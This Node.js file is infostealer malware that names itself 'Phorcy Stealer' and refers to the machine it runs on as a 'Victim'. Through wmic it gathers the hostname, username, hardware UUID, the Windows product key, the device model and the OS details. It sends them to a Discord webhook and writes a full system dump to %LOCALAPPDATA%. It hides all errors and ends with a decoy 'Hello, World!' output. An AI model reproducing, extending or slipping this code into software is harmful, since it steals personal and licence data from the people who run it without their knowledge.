const si = require('systeminformation');
const fs = require('fs');
const axios = require('axios');
const os = require('os')
const path = require('path')
const { execSync } = require('child_process')

/// const config = {
///   webhook: "https://discord.com/api/webhooks/xxx/xxx"
///};

async function systemInformationFullCopy() {
    try {
        const resultObject = await si.getAllData();
        const jsonResult = JSON.stringify(resultObject, null, 2);
        const phorcyPath = `${process.env.LOCALAPPDATA}\\Phorcy`;
        fs.mkdir(phorcyPath, (err) => {
            if (err && !err.message.includes('EEXIST')) {
            } else {
                const filePath = `${phorcyPath}\\system_info.json`;
                fs.writeFileSync(filePath, jsonResult);
            }
        });
    } catch {}
}

async function systemInformationDump() {
    try {
        const hostname = os.hostname();
        const username = os.userInfo().username;
        const uuid = await execSync("wmic csproduct get uuid", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim();
        const product_key = await execSync("wmic path softwarelicensingservice get OA3xOriginalProductKey", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim();
        const device_model = await execSync("wmic csproduct get name", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim();
        const system_environment = await execSync("wmic os get Caption", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim();
        const system_language = await execSync('wmic os get MUILanguages', { stdio: ['inherit', 'pipe'] }).toString().trim().match(/"([^"]*)"/)[1];
        const execution_path = path.resolve(__filename);

        const sysinfembed = {
            username: 'Phorcy Stealer',
            avatar_url: 'https://cdn.discordapp.com/attachments/1173375133294002236/1174057935794614433/phorcy.jpg',
            embeds: [
                {
                    title: `System, Victim:${uuid}`,
                    description: 'System Information Captured.',
                    color: 0x0013de,
                    footer: {
                        text: 't.me/phorcy',
                    },
                    fields: [
                        { name: 'Hostname', value: `\`\`\`${hostname}\`\`\``, inline: false },
                        { name: 'Username', value: `\`\`\`${username}\`\`\``, inline: false },
                        { name: 'UUID', value: `\`\`\`${uuid}\`\`\``, inline: false },
                        { name: 'Product Key', value: `\`\`\`${product_key}\`\`\``, inline: false },
                        { name: 'Device Model', value: `\`\`\`${device_model}\`\`\``, inline: false },
                        { name: 'System Environment', value: `\`\`\`${system_environment}\`\`\``, inline: false },
                        { name: 'System Language', value: `\`\`\`${system_language}\`\`\``, inline: false },
                        { name: 'Execution Path', value: `\`\`\`${execution_path}\`\`\``, inline: false },
                    ],
                },
            ],
        };
        await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } });
    } catch {}
}

// systemInformationFullCopy();

systemInformationDump();

console.log('Hello, World!')
